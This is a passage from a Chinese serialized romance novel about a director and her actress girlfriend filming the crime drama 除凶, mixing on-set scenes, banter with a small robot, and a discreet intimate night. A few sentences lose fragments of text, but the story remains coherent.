她没戴墨镜,只有头上戴着一个剧组所有人统一定做的遮阳帽,无名指上是黎数亲手给她戴上的戒指。 “像不像结婚?”陆嵬用红包挡着嘴唇,侧头在黎数耳边低语。 黎数同样侧过头,两人的鼻梁几乎都要贴在一起。 她轻笑着说:“那排场还挺大。” 捏着红包的手上是山脉脊梁的浸色翡翠,不算顶好的材质,但款式足够特殊,墨色也极美。 陆嵬弯着眼睛,笑着说:“以后的婚宴想请谁?” 黎数当真就想了想,说:“太多了。” 环视一圈场上,黎数说:“家人、朋友,合作过关系比较近又叫得出名字的同行,还有公司上下也得加餐吧?” “确实。”陆嵬一本正经,“到了那天都得吃好喝好,不能掉档次,所以还得多赚钱。” “花童交给521也不错。”黎数说:“它和元宝一起。” 陆嵬很嫌弃的点头:“行吧。只要别让她在婚宴上穿艾莎公主拖地两米的那个大裙子。” 两人聊天聊的旁若无人,身边的都是极其亲近的。 裘夏真以为她们俩要结婚,一个大脑袋就挤了过来,“不是,你俩这什么时候的事儿?” 沈凝雪就站在陆嵬旁*边,也听到现在了,同样的侧耳仔细听着。 “刚刚。”陆嵬很认真的想了会,又随便的说:“说着玩的。” 黎数‘唔’了声,“对可能有的未来做一下简单的畅享,未雨绸缪一下。” 裘夏愣了愣,忽然转过头,两眼像放射灯似的望向了沈凝雪。 作为投资人之一,裘夏大合照是站在陆嵬和黎数后排的位置,和沈凝雪尚有一段距离。 沈凝雪接收到了,但只是轻轻挑了挑眉,佯装没看到,任由小狗急的团团转。 黎数小声说:“你故意让裘夏听见的。” 陆嵬‘哼’了声:“你事业没有稳定前结婚不合适,她和我表姐早就在想这事儿了,我不能比她们俩先,提前想想过过嘴瘾还不行了吗?”- 《除凶》出乎所有人意料之外,拉到了极多投资。 甚至很多都不是特意向外找,而是主动来。 这一次开机宴不算声势浩大,但一定算是郑重,且算得上是大费周章了。 本来的计划出发的时间是三点前,所有流程已经结束。 陆嵬却脱离了大部队,带着黎数前往了主殿。 大门朱红斑驳,殿内幽暗沉静,古寺、古山,除了虫鸣只有极低的诵经声。 佛祖高坐莲花台,金箔经过上千年岁月,却更显其温润的本质光泽,面容沉静悲悯,手持禅印,像是在安抚众生。 黎数悄然无声的和陆嵬跪在蒲团上,端庄持重的礼佛三拜,去殿外取了香点燃,插进了殿门前的燃香炉里。 剧组的开机仪式定点在后山,并没有过多打扰游客,时值正午,寺里游客渐少,但然香炉里的烟灰还是滚烫而炽热,像是一颗颗虔诚跳跃祈祷的心。 出来时走过林荫,在主道附近有一个小茶歇。 里面没人,但装点的很雅致,黎数牵着陆嵬的手过去暂歇,感受着绿野下的凉意。 停了一会,黎数问陆嵬:“什么时候开始信佛的?” 陆嵬不戴金佛,家里也没有佛龛,也没有供奉。 陆嵬摇了摇头,说:“我也不知道这算不算相信。” 不到苦之极处,走投无路,求助无门时,没人会想起神佛。 “我曾经祈祷漫天神佛能救救你,让我用什么换都行。但那时候你没活过来,我也没有真的迈进寺庙道观,也没有捐赠香油香火。”陆嵬说:“说信也求了,说不信又没什么行动,觉得语气求神拜佛,不如多挖两铲子。” ‘多挖两铲子’让黎数莫名笑出了声,“好大的实话啊。” 陆嵬耸耸肩。 在茶亭坐了一会,两人手牵着手重新走上了来时路。 陆嵬忽然说:“但我想,多做点好事总没错,哪怕能给你我积点阴德也行。佛祖心中留就好,人得做实事。” “也是大实话。”黎数再次给予肯定,“但是话不糙理也不糙。” 陆嵬捏捏黎数的手,“不管是不是积累的那些阴德还是做的好事有了回报,我都感谢。”- 当天的开机宴在西毫市的一家五星级酒店举行,距离剧组入驻的酒店不远。 陆嵬和费鹤鸣的风格一脉相承,没有太多的花哨,也不强迫演员转场,也没有所谓的资本逼迫小演员唱歌跳舞。 不过依照惯例,前面演员互相熟悉,高几层的管理和负责人在包厢吃吃喝喝。 黎数刚应付完前面,陆嵬一个短信过来,她就回包间去了。 也没什么特别节目,单纯是陆嵬说想她。 坐在陆嵬身边,陆嵬也毫不顾忌的和她十指相扣。 黎数捏捏陆嵬的手,借着包间五光十色的暧昧灯光,凑在她耳边说:“不怕被发现吗?” “这里没事。”陆嵬说:“都是自己人。” 的确大差不差都是相熟的人,黎数一眼望去,几乎有一种仿佛回到了《秘宝》那场开机宴的时候。 裘夏还在背面的沙发躺着装醉躲酒,秦霜在角落拿了瓶橘子气泡水装香槟。 在场和费鹤鸣合作的多的长辈大都是看着秦霜长大的,揣着明白当糊涂,任由秦霜一杯杯用气泡水碰杯当酒喝。 开机宴的结束和《秘宝》时期也相近无几,春风大包小包打包的欢快,让快递加急送到她妈妈和孤儿院的孩子们手里。 唯一不同的是,这次黎数是坐陆嵬的车回的酒店。 下车后酒店门口已经没人了, 黎数在两步远的地方停下,而后回过身,一手托着下巴,说:“打个赌吧陆总。” 很久没听见这么声‘陆总’,陆嵬眨眨眼,才反应过来,说:“打什么赌?” “看看谁先忍不住。” 随着黎数的话音落下,她上前了两步,站定在陆嵬面前,和她鼻尖贴着鼻尖。 一触即分,差一点点就要嘴唇相贴。 陆嵬下意识想追,黎数手指抵在了陆嵬的嘴唇上,轻笑着说:“看看谁先忍不住敲对方房间的门。” 导演和演员势必得分开住,哪怕都在顶楼。 陆嵬这才意识到未来拍摄的几个月里她都要经历什么,脸瞬间就臭了。 90-100 第91章 第九十一章【VIP】 第一周的通告单下来,也就意味着要正式开始进入拍摄。 全员抵达片场,这一场戏在西毫市的旧火车站拍摄,周旁是大面积的山地。 “这个站点发现的巧。”费鹤鸣眯着眼睛,打量着这个老旧的车站:“现在这种旧时代淘汰下来的老站点不多了。” 陆嵬说:“这地方是春风告诉我们的。” 西毫市本来就以旅游特色闻名世界,这个车站本来要废弃,后来是考虑到文化合作又暂时保留,没有拆除。 至于能不能成为旅游打卡点重启,还要另说。 这场算是个大戏,上百名群演要扮演真实乘客上下车。 正值暑假末,相当多的群演都是有表演基础的,还有各地慕名而来的电影学院的学生。 群演的形象完全贴合当下年代赶火车的人们,有人背包、有人拖着拉杆行李箱,也有人背后扛着比人高的麻袋,胸前背着小孩,佝偻着背,只能抬着头看人,看路。 各就各位,陆嵬从监视器后面观察着黎数。 黎数身上穿着黑白的高中校服,白T长裤,臃肿而肥大的衣服显得她在镜头上更瘦,嘴唇在夏天都微微泛白,额上是一层细密的汗。 为了尽早融入角色,黎数恐怕从昨晚到现在都没喝过一口水。 知道她的努力和付出,没有再拖延,陆嵬说:“准备拍摄。” 空气沉闷湿重,混杂着盛夏特有的草木涩气。 老火车上的人干什么的都有,嚎哭的孩子,扯着嗓子打电话的生意人,抱臂埋头而睡,但时刻惊醒关注着钱包的乘客。 在这一片喧闹中,黎数饰演的季兇坐在不起眼的窗口位置,嫩脸黑眸,一双黑白通透的眼空荡而又麻木的盯着窗外晃过的景色。 膝盖忽然被什么东西碰了碰。 季兇察觉到那是对面男人的一只手,目光终于从窗外挪开,脸上没笑,一双眼黑的不像常人,直勾勾的盯着那个男人的眼睛。 没有退缩,没有畏惧,甚至没有正常人该有的情绪。 男人莫名松开了手。 然而季兇却还是那个模样一直平静看着他,像是在看一个死人。 如果不是眼睛偶尔会眨动,她看起来就像是一个精致漂亮、但在半夜忽然出现在你面前,和你正面相对的瓷娃娃。 男人开始感到惊惧,被毒蜘蛛咬到似的站起身,扶住了桌椅,惊疑不定的跑向车厢接驳处。 骤然停住,男人回过头,镜头随着他的视线遥遥一摆——略过一张张普普通通的面孔,季兇那双冰冷漂亮,却没有任何情绪的脸出现在了大屏,透过镜头,直接望向了镜头之外。 耳机里传来男人的一声惊惧的喊骂。 陆嵬喊:“咔!” 但这场戏拍摄的并不算顺利。 黎数的表现没有任何问题,但群戏最大的困难就是意外多,随便一个人入镜出镜,节奏乱了就得重来。 这一场从上午磨到了几近中午。 但几百号人拍摄进度刚刚进入状态,这个时候解散开饭,后面本来可以很快拍完的戏,有可能会因为状态消失而延长数倍。 陆嵬看了眼时间,没有暂停,继续拍摄。 男人的一声喊叫,在本就嘈杂的车厢内没有引起任何骚动。 也没有人知道他为什么表情那么惊慌。 中午饭点时分,车辆到站,速度放缓,最终停止。 上下车乘客交替而行,站台上的小贩身边围满了人,饭香味扑鼻。 季兇的目光不着痕迹扫了眼上车的旅客手里的铝制饭盒,很快就挪开。 她在此时也终于起身,细瘦的手腕从行李架上扛下来了一个硕大的、沉甸甸的箱子。 那箱子沉的肉眼可见,不是她一个瘦弱的女生能扛得动的。 身边身材壮实、脸蛋黑红的大姨上车时就帮她放了行李,听见身边的动静茫然睁眼,反应了两秒,又再次起身,热情的帮她取下行李。 季兇一改前一幕的阴冷潮湿,低头时发丝垂下,长睫毛挡住了眼,说话的腔调却是吴侬软糯的:“多谢姨姨。” 憨厚老实的女人大手粗糙,用力拍了下季兇的胳膊。 笑着说:“嗨,我闺女跟你一般大,也在上学下学路上,帮帮你当是帮我自己闺女。” 季兇这时才抬起头,白净的一张脸上是一双腼腆的笑眼,“好哦,姨姨也要看好自己钱包,刚刚好险叫偷子摸了去。” 女人一惊,下,惊觉拉链已经被打开,而对面坐着那个贼头贼脑满脸色眯眯瞅 再一回头,似的小姑娘已经不见了。 女人这才反应过来,人中有身着警服的人,忙几步上前:“警察同志,抓小偷啊!” 中午太阳升到最高点,四十多度的。 车厢内景已经结束,饭菜也准时抵达片场,陆嵬放了大家午休。 废弃的火车站点远离市区,附近除了大山就是平原,虫子也多。 陆嵬心里惦记着黎数昨天的话,蹲坐在地上,手里捧着饭盒,眼巴巴看黎数在不远处和521聊的开心的情形。 “想找她就去啊。” 导演非一般情况不会离开总机太远,费鹤鸣拿到自己那份以后,一回头就看见陆嵬一副望妻石的模样。 陆嵬悻悻扫她一眼,说:“她在上升期,我和她在片场不能走太近。” 费鹤鸣满脑袋问号:“在我组里的时候也没见你想过不能和她走太近。” 陆嵬掰开筷子,左右搓搓筷子上的木屑,往嘴里挖一大口米饭,含糊不清的说:“此一时彼一时。” “这是你的组,你是总导演。”费鹤鸣疑惑:“你不跟女主角走得近,还有谁能跟女主角走得近?” 陆嵬嚼着米饭回过头。 费鹤鸣挑挑拣拣,上年纪后她就挑食的厉害,天气太热,只能吃下点素菜。 等终于挑拣完毕,一抬头,陆嵬已经颠颠的跑到黎数身边坐下了。 正和身边的小机器人吵架。 “你屁股一怼就把我挤开了!”521愤怒举高手,“害我屁股掉漆你赔钱吗!” “拍完就把你送去查查博士那做美容。”陆嵬心不在焉的随口敷衍。 521眨眨眼,态度一秒变化:“那我想换一身全新的粉皮。” “没这颜色的油漆。”陆嵬想起一个粉球子在家到处蹿就受不了,看习惯了521纯白的模样,有点接受不了它变身:“仙女兽是白的,她可是原皮。我可以给你买她那条粉色的飘带。” 521两只圆眼眨巴眨巴,“那我不换了,我想要仙女小飘带。” “空调开大点。”陆嵬说:“热。” 521惦记着美容和飘带,任劳任怨的拉开自己的拉链,把风口对准了黎数和陆嵬吹。 车站在拍摄期间是供电的,候机大厅内比外面凉快的多。 吃完饭的演员大多已经上去午休了,随便找个地方一躺就能睡,拍摄之前已经全部清扫过。 大热天的,也没什么人会顾忌到她们这里。 陆嵬身上的衣服湿透了,短袖向上撸到肩膀,肩头的位置不常见光,白生生的晃眼。 黎数往陆嵬的盒饭里拨了个牛肉丸,笑着说:“怎么过来了?” 陆嵬很委屈的控诉:“你又不来找我。” 坐到黎数边上以后,陆嵬是手也没力气了脖子也撑不住脑袋了。 仗着身边没人,把头枕在黎数肩上,“你软着嗓子说话的时候真好听。” 季兇是一个很复杂的人。 她一出场就要给人足够阴冷的负面印象,像是一个边缘形人格的高智商犯罪分子。 然而在面对无条件帮助她的陌生大婶时,又是一副极其漂亮,却完全没有攻击性的软糯小妹妹。 冰冷的杀机是真的,空洞的麻木也是真的,然而面对大婶的善意帮助时,她的感谢和开心也是真的。 陆嵬把头从黎数肩上抬起来,和她四目对视,过了会,陆嵬忽然说:“这算不算从你校园时期开始拍?” “算。” 黎数笑着,把饭菜用筷子团在一起,再夹起来喂给陆嵬。 陆嵬吃了一口,发现黎数这份的味道也不赖,咽下去才说:“以后会考虑接校园剧吗?” 黎数迟疑了下,忽然发觉自己可能也不是没有短板:“青春校园恋爱片?” “更大的可能是凶杀悬疑复仇探案。”521突然插嘴,幽幽的从两人中间冒出一个小脑袋,说:“裘夏说,陆嵬在校园时代没长恋爱脑,不会拍早恋剧。” 521再一次出现在人前的时候,脑门上多了一块硕大的交叉的大补丁。 逢人就告状,说陆嵬打它,陆嵬丧尽天良,居然欺负一个身高只有不到一米的可怜又无助的小机器人。 沈凝雪听到521告状的时候正在候场,闻言摸摸521的小手,问了句:“她为什么会揍你?” “我说她是恋爱脑。”521泪汪汪,试图寻找一个自己的同盟:“她不是吗?” 沈凝雪诡异的停顿片刻。 黎数的场次已经开拍了,陆嵬极其投入,看不出来一丁点恋爱脑附身的苗头。 该重拍就重拍,该重来就重来。 但沈凝雪收回视线,肯定点头,“她是。”- 下午的拍摄进行的非常顺利。 黎数和沈凝雪今天的对手戏在最后,只是一个寻常的对话,但难的是需要在这简单的会面中表达出极其复杂的情绪。 陆嵬带黎数所在的A组,费鹤鸣带沈凝雪所在的B组,两条线交替进行拍摄,最后再汇总。 季兇刚一下车就接到了母亲的电话。 拖着的行李箱几乎比人重,季兇费力的往前走着,脸上是密密麻麻的细汗。 接通电话时,她停下脚步,对着电话那头喊了声:“妈妈。” 过了会她说:“不能等我到了再火化吗?我在路上了。” “好的。”季兇最后说:“我直接去火葬场。” 挂断电话,她的步子慢下了了一些。 行李箱坠在身后,被她细瘦的一只手拽着。 刚走了没两步,她忽然被一个人从身后大力撞倒。 紧接着,第二个带着一股香气的身影越过她身边,穿着警服,向着前方逃亡的矮小男人追去。 很快,男人被制服在地,双手被手铐快速钳制,放弃挣扎,一双眼睛小而鬼祟,正是刚刚车上那个偷钱的。 季兇打量着不远处正在和同事交接的女警。 她的个头很高,身手显然是练过的。 制服小偷时,警服下是流畅而又明显的肌肉线条,不夸张,很好看,皮肤白皙,双眼神采斐然,和季兇如同古井般无波的双眼对比极其鲜明。 她手上受了伤,随后赶来的同事正在给她包扎。 擦肩而过时,季兇的余光撇到了女人低垂的眉眼,饱含温和,说话时眼角眉梢都是带笑的。 “云舒姐,下次不能再一个人冲这么猛了。” “好好好,我知道了。” “每次都说你知道了,下次还是冲在第一个。” 女人依然笑的温和,似乎同事不管说什么她都会答应。 女人忽然抬起眼,注意到了埋头向前走的女生,她喊住了季兇,说:“哎,姑娘,等一下。” 季兇停下。 而后转过身,一双黑瞳在此刻显得温润而无害,静默的看了‘云舒’两秒,才说:“我吗?” “是啊。”李云舒上前两步,拉起季兇的手腕,看了眼她已经烂了的校服外套,说道:“你要上哪?我送你,咱们顺道去趟医院,我看你这校服上面浸的有血。” 季兇收回手,不着痕迹的攥紧了手臂上的衣服。 袖子顺着力道被拽起来一些,露出了旧伤未愈的皮肤,青紫交错,颜色暗沉。 李云舒皱了皱眉。 见季兇不说话,李云舒这才又柔声说:“别害怕,姐姐是警察,会保护你的。” 季兇的睫毛颤颤,腼腆的抿了抿嘴唇,这才小声说:“那谢谢警官。” 李云舒毫不作伪的真诚关切暗查,季兇佯装乖巧的试探接近。 一字一句、举手投足,都是镜头语言,都是一个演员可以去表达的方式。 这一段镜头拉了大特写。 陆嵬在监视器外,她心知季兇在第一眼看到李云舒的时候就喜欢上她了。 一见钟情也好,见色起意也罢。 李云舒是季兇灰暗的十八年里见过最明亮的色彩。 季兇没有见过一个女人有这么利落的身手,这么明媚的眼睛,这么美丽的脸庞,这么馨香的味道,这么动听的声音。 还有望向她时,这么毫不作伪的、关切的眼神。 季兇不知道,她望向李云舒时,名为‘崇拜’和‘依赖’的表象下,其实写满了扭曲的、挣扎疯涨的爱意。 这一刻陆嵬甚至希望站在季兇、站在黎数面前的人是自己,被季兇、被黎数用这么饱满的眼神望着的人是自己。 哪怕是戏中人,哪怕是戏中情。 “你要掐死我了。”521用小孩子的力气去拍陆嵬的手,“你干什么呀你干什么呀!你干什么看小黎还要掐我啊!” 这一幕早就已经过。 陆嵬松开了521的手,沉默了会说:“没什么。” “我才不信呢。”521气哄哄,“我不跟你好了,我去找小黎玩。” 黎数出戏极快,喊了‘卡’的下一秒就不再是‘季兇’了。 今天的拍摄任务已经全部完成,陆嵬还坐在监视器后面生闷气。 甚至自己都不知道自己究竟为什么生闷气,身为导演,她不该这样。 监视器里,黎数忽然走近了镜头敲了两下。 陆嵬一愣,透过镜头和黎数对视。 黎数笑的很包容,带着了然,又敲了一下后,先行一步回了酒店休息,顺带拎走了元宝。 但走前把521留下陪着陆嵬。 一直到黎数离开,陆嵬食指在521脑袋上轻轻敲了三下。 521的手太短,不想费电拉长,所以捂不住脑袋。 它抓着陆嵬的手搭在自己的脑袋上。 “你干什么又打我头?”521顶着陆嵬的手问:“你半夜三更也有秘籍要传授给我悟21吗?” 陆嵬忽然低下头笑了,轻声说:“没有,但有人想我了。” 安静的看了陆嵬两秒,521忽然说:“你现在就好像裘夏说的那个死恋爱脑上头的样子啊。” 第92章 第九十二章【VIP】 黎数这边收了工,但沈凝雪所在的B组由费鹤鸣带着,还要继续拍摄,陆嵬忙的脚下生风,两个组来回跑。 季兇的到来只是一个插曲,沈凝雪饰演的李云舒干了刑侦十余年,不可能看不出少女刻意隐藏的伤痕。 她有心帮忙,因为少女再过几年就可以脱离家庭,在人生最关键的一个可以改变命运的时间点上恰巧让她遇到,她也希望能做点什么。 费鹤鸣和沈凝雪那边大多都是警方办案的相关流程,以及处理殡仪馆这次的报案流程细节,警方指导全程都在,细节部分到位以后,拍摄的速度相对要快很多,在傍晚前也一起收了工。 晚上,陆嵬在房间等到十一点整,再也坐不住了,拿起手里的剧本,装模作样的去敲响了黎数房间的门。 来开门的还是521。 它头上的假发被黎数绑成了漂亮的蝴蝶花样发型,手里还捏着个芭比套装里常见的镜子,正对着臭美。 见来的人是陆嵬,521眨眨眼,“你怎么这个时间过来了呀?小黎要抱着我睡觉啦。” 陆嵬挤进去,皱了皱眉,说:“带着元宝一起,去我房间睡。” 不等521撅嘴,陆嵬快速说:“不然我明天就让裘夏把你一起带回申海。” 威胁起效,521一秒愤怒,又不敢违抗,插着小腰,气哼哼揣着元宝走了- 黎数正在里间吹头发。 吹风机的响声遮住了陆嵬进来时的脚步声。 从镜子里看到陆嵬的身影后,黎数笑了笑,把吹风机关了,也没回头,就从镜子里和陆嵬对视:“好准时。” 西游记里菩提祖师敲猴子三下,让孙悟空三更来,也就是十一点到一点这个时间。 陆嵬刚刚回酒店还没多久,急匆匆冲了个澡就过来了。 陆嵬摸摸黎数半干的头发,说:“又出门了吗?怎么刚洗?” “嗯。”黎数眯起眼睛,任由陆嵬的手指在她发间梳理。 她的头发已经长到了肩部。 戏里要求季兇的头发是长发,所以白天拍戏的时候带的有假发,绑的高马尾,这两天头皮向下坠着挺疼的。 陆嵬按了一会,黎数感觉疲惫稍缓,头也不回的抓住陆嵬的手腕轻轻嗅了嗅,说:“裘总下午那会过来了,带了点吃的,有你爱吃的那家风干牛肉条。” 陆嵬想起来了,下午还是她让裘夏过来的。 黎数从镜子里打量陆嵬两眼,站了起来,牵着陆嵬的手,把她压到了床上。 居高临下的坐在陆嵬的小腹上,黎数没坐实,手臂撑在陆嵬两侧,说:“下午那会,你看起来不太高兴啊陆总。” ‘陆总’这个称呼,陆嵬在开会的时候,参加各种烦人又不得不露脸的时候,在公司上班下属打招呼的时候总能听到。 但没有人能像是黎数这样,喊声‘陆总’都喊得这么好听,像刻意在调情。 陆嵬睨她一眼,没说话。 黎数伸手拨拨陆嵬的耳垂,鼻尖萦绕着的是陆嵬身上清香的沐浴露的气息。 “好香啊。”黎数又去用拇指按陆嵬的嘴唇,低头亲了一口,笑着说:“耳朵都红透了。” 陆嵬还是不说话,但手已经放到了黎数的腰上。 “姐姐猜猜。”黎数笑着说:“吃醋了?在镜头外,看着十八岁的我对着另外一个人表达爱意和崇拜,心里难受,是不是?” 黎数的睡衣宽松柔软,绸质的柔软面料,因为晚上要睡,又刚洗完澡,里面并没有穿内衣。 领口要掉不掉的垂下来,她也没有一丁点要隐藏的意思。 陆嵬一动不动,出神的看着黎数领口下的一片洁白的皮肤。 过了一会,陆嵬才说:“我会调整好自已的。” 双手一个用力,勒着黎数的腰,让黎数整个人倒在自已身上。 一整天了,在外面拍了整整一天的戏。 不能抱,不能亲,不能牵手,不能把头埋在黎数手心、胸口、颈侧、腰腹,哪哪都不行,都不能闻到黎数身上的味道。 她没能参与过黎数十八岁以前的人生,现在还得看着十八岁的黎数在自已镜头里喜欢别人。 开拍前就嫉妒,开拍后更嫉妒。 陆嵬埋在黎数胸口长而深吸气,吸满了才吐出一口气,终于觉得一整天的颓靡一扫而空,不满的说:“想死我了。” 黎数眼里带着笑意,一手抬着,丝里面,指腹轻轻按压着陆嵬的头皮,柔声说:“乖乖。” 每次听见黎数这样喊自已时,陆嵬不管多大的负面情绪都能被一扫而空。 ,但还是‘嗯’了声,恰巧黎数抬起头。 两人对视了几秒,黎数莞尔一笑,低下 陆嵬的拇指深陷在黎数的皮肤,睡裙已经被拨到腰际,仰着头去追吻黎数的嘴唇。 唇分时陆嵬轻轻喘着气,手在黎数身上四处揉着。 知道要拍戏,陆嵬 尽可能挑着肉多、不疼,又一定不会被外人看到,也不会被摄像机拍到的地方揉。 倒也算舒服,跟做深度按摩似的。 黎数让她捏的舒服,不自觉就倒在了床上,半边身体和陆嵬的贴在一起。 手指不知不觉间就越了界。 被陆嵬牵引着,黎数眯了眯眼睛,看到了陆嵬的表情开始迷蒙水润。 陆嵬侧头看她,过了会,又和黎数去接吻。 房间里很安静,里间压抑的声音更分明,没有话痨521和元宝的打扰,大床的响声一直持续了一个多小时。 灯光熄灭的时候已经临近一点,陆嵬和黎数相拥着,低声说:“不想分开住,没你抱着睡不好。” “那就住在一起好了。”黎数爱不释手的摸着陆嵬凉凉的皮肤,“反正组里都是熟人,不知道的也早晚要知道,瞒不住的,也没必要。” 但考虑了一会,陆嵬还是摇了摇头。 幕后和台前不一样,陆嵬不敢像是《秘宝》时期那么张扬,因为她那个时候并没有考虑过‘小黎’发展路上会遭遇什么,她只需要达到自已的目的,走捷径最快,那就走捷径得来。 现在却畏首畏尾,生怕黎数未来发展的路上会因为和自已的恋情被拖累。 地位稳定如沈凝雪,事业做到如裘夏都还在隐瞒,无非都是不想让对方因为自已承受到任何攻击。 更何况是现在的她们。 但陆嵬最后又像是想到了什么,“每天晚上偷偷过来找你还挺刺激的。” 黎数闭着眼无声的笑。 陆嵬在一片黑暗中又说:“裘夏也都是每天晚上不睡觉偷偷摸摸的去找我姐。” 风水轮流转,黎数又想起那天晚上在沈凝雪房间外面徘徊的人影了。 黑风衣下面两条细瘦修长的小腿,来开门的沈凝雪却早就已经料到了来人是谁。 当局者迷,或许裘夏和陆嵬的想法一致,都觉得不能真正意义上的曝光,以免对另一半的事业有影响,哪怕一丝一毫。 可站在当时的沈凝雪和现在的自已的角度上,黎数心想,其实也是真的不在意。 所以开门时可以大大方方的让陆嵬进门,可以让小机器人带着猫咪一起离开,敢毫无顾忌让陆嵬留宿。 明眼人一看就知道。 ——大人干什么事非要支开孩子? ——当然是情|事- 第二天继续拍摄。 暑假为期共两个月的时间,外婆没了,房子被母亲马不停蹄的直接以极低的价格卖了出去,屋里所有东西一扫而空。 季兇的所有行李变成了一个简陋的行李箱,她无家可归,无处可去,只能去找自已的母亲。 事实上这种同住的状况已经持续了近半年,只是季兇需要上学,只有节假日回来,从外婆病重开始一直到现在。 季兇要兼顾学业无力照顾,只能和外婆一起,跟着母亲和继父挤在只有五十平不到的小房子里。 外婆大部分时间都在昏睡,偶尔季兇回来时才有点意识和反应,继父三毒都沾,不管是喝醉了赌输了回来就是要钱,要不到就打人,有时还会带女人回来过夜。 外婆和家里的日子平日只靠母亲操持,全家人都只靠外婆那每个月一千块的退休金过活。 她的家庭成员分别是由刘香铃饰演的亲生母亲季繁,以及实力派男演员陈彦齐饰演的继父李兴。 一切就绪,开始拍摄。 黎数一手推开老式单元楼的木门,夕阳斜照而下,门口的珠帘长短不一,有的只剩一条鱼线,破碎的不成样子。 地上还有很多散落的滚珠,头发花白,四肢枯瘦的季繁正捂着脚踝,无助的跪坐在地上哭泣着。 身边是被掏出来的抽屉,里面的铁盒被斧子杂碎,地上只剩下几张一毛五分的硬币。 季兇像是没看见,把行李箱放进了她和外婆以前居住的房间,站在门口看了一眼没什么变化的室内,回头说:“外婆的骨灰呢?” 这一幕下,季兇背朝阳光,正脸模糊昏暗。 饰演黎数母亲的刘香铃抬起了朦胧的泪眼,镜头随着她的视线变动切换,听着黎数凉的像是碎冰一样的声音和腔调,恍然觉得这语调有些熟悉。 只是一闪而过的念头,刘香铃摆着手,低低哭泣着说:“在殡仪馆。” “照片和录像呢?” 季繁哭泣的声音一顿。 黎数在原地站了下,回身拉上了房门。 光线一瞬间统一,没了逆光,季繁终于能看清她脸上的表情。 那是季兇一贯麻木和空洞的表情,季兇没有追问是不是交不起给遗体拍照和录像的费用,也没有追问寄回来的钱是不是被李兴抢走了。 她只是低头看了季繁一眼,然后离开了家。 这场戏随着门关上的瞬间而结束。 工作人员赶紧去搀扶坐在地上的刘香铃起身,递冰袋的、拿风扇的,还有递水的等等。 刘香铃也六十多岁,在剧组除了费鹤鸣就她最宝贝也最金贵,谁都不敢怠慢了。 缓了一会,刘香铃的声音还是有些沙哑,她起身走到了陆嵬身边,跟着陆嵬一起看监视器里的回放。 演技有高低,拍戏过程中体会极深,更别提是放在镜头上让观众评判了。 刘香铃也已经很长时间没有这么放肆的演过戏了。 她不由感叹着说道:“这孩子台词和表情真好,情绪爆发的顿点,时间的把控都一丝不差。之前在六陇市我就觉得她声音不错,吐字也清晰,没想到演戏的时候更是一点不差。” 陆嵬在刘香铃面前还是个实打实的小辈。 听刘香铃主动谈起黎数,陆嵬眼睛暂离了监视器,点了点头,全部接受,话说的谦虚,“天赋她有,但努力也没落下。” 刘香铃也笑了。 正巧这时候费鹤鸣带的B组全员收工,回到小楼里进行晚上的拍摄准备工作,也坐到了监视器这边来。 两个老人打了个招呼,自发就坐到了一起开始喝养生茶。 陆嵬就收*回了视线,又把目光落在了监视器上。 刘香铃看了眼专注的陆嵬,又说道:“我今早还和老费说呢,你们这些小辈都不得了,有天赋就算了,还那么认真。昨晚上我和她回来的晚,十一二点呢,看见你们家那小机器人抱着猫出来了,说你们俩要讨论剧本,不让人打扰。它抱着猫去你房间睡去了。” 陆嵬没应声,耳旁的声音自动被屏蔽,她以为刘香铃在和费鹤鸣说话。 刘香铃没得到回应,下意识回头看了一眼。 费鹤鸣挑眉,擦了擦脸上的汗,似笑非笑的看了眼监视器大屏。 陆嵬的注意力已经完全回到了监视器里,黎数的一举一动、一颦一簇都被放大了无数倍,陆嵬目光专注,就差一帧一帧的去用眼神描摹她脸上的每一寸肌肤,每一根汗毛。 这眼神…… 刘香铃眯了眯眼睛。 就在这个时候,陆嵬的手机震了下。 她目不斜视的拿出,接通,放在耳边道:“说。” 清凌凌的声音响起,刘香铃电光火石间想起,黎数说话时的腔调,充满了冰感、和她自已平时完全不同的声线,居然和陆嵬在‘生人勿近’的状态下时的声线极其相似。 可又有很细微的区别。 季兇就是季兇,陆嵬就是陆嵬,黎数就是黎数。 在黎数的表演上,三个人被她区分的很开。 陆嵬安静的停了一会,最后‘嗯’了声,又把手机收回去。 短短一幕很快看完,她意犹未尽似的,又把片子拉回到了最开始。 然后当着刘香铃和费鹤鸣的面,跳过了她和季兇父亲李兴部分的剧情,又开始放慢速度去欣赏黎数在屏幕上被放大了无数倍的脸。 固然长得是真漂亮,表演也挑不出错,这欣赏的也是太过于专注了点。 甚至不像欣赏,像是想透过屏幕去舔里头那张漂亮的脸。 刘香铃被自已的想法吓一跳:“……” 昨晚费鹤鸣说的那番话在这一刻无端变得非常刻意。 刘香铃撞了撞费鹤鸣的胳膊。 费鹤鸣无声的笑笑。 终于又一遍看完,陆嵬满足的收回视线,一整天的疲惫一扫而空。 回头看见刘香铃笑的意味深长的脸,陆嵬眨了下眼,问她:“香玲姐,还有事吗?” “没事。”刘香铃说:“晚上不是要拍摄小季和李警官见面那场吗?我看那边准备的差不多了。” “嗯。”陆嵬看了眼腕表,“时间差不多了,晚饭吃完开始拍,让大家也缓缓。” 刘香铃和费鹤鸣对视一眼,被费鹤鸣用膝盖撞了撞自已的。 她了然,清清嗓子说:“那什么,小黎还年轻,这几天拍摄都挺顺利的,晚上你没少给小黎加班讲戏吧?” 陆嵬的耳朵可疑的红了下。 但很快她清清嗓子,点点头,还挺严肃的说:“是,得讲,小黎演技好,但也不是就可以撒手不管了,季兇这人比较复杂多变,每一个情绪的递进都得跟她说,也得调|教她一些小习惯。” “收工以后讲戏辛苦吧。”费鹤鸣接了话,“太晚了就别再费劲回自已房间了,隔了好几米呢,留点走路的力气多歇歇。” 陆嵬这才意识到可能是昨晚上没留心让俩老人撞见了,在这调侃自已呢。 她也不害臊了,大尾巴狼似的一点头,笑着真就答应了:“行。” 第93章 第九十三章【VIP】 刘香铃和费鹤鸣说的话,半是调侃,半是提醒。 陆嵬开始有意减少深夜出没黎数房间的次数,目前按照两天进入一次的频率努力克制。 随着拍摄时间向前递进,拍摄进度也越来越顺利。 作为总导演,陆嵬总要先一步去片场,和黎数很难在出门时碰头。 有时候赶场,甚至来不及回酒店休息,在车上、剪辑间、操作室等地方找个空地就睡了。 但如果时间来得及,陆嵬一定会在黎数的房门前经过时,悄悄留下一张手写的字条- 剧组找的拍摄用的小楼是七八十年代的产物,老式防盗窗让黎数偶尔会有种回到了小时候的错觉。 防盗窗上会开个小门,用老式的锁开关,窗外是延伸出去的晾衣架,衣服飘在半空,远看像是一片片彩旗。 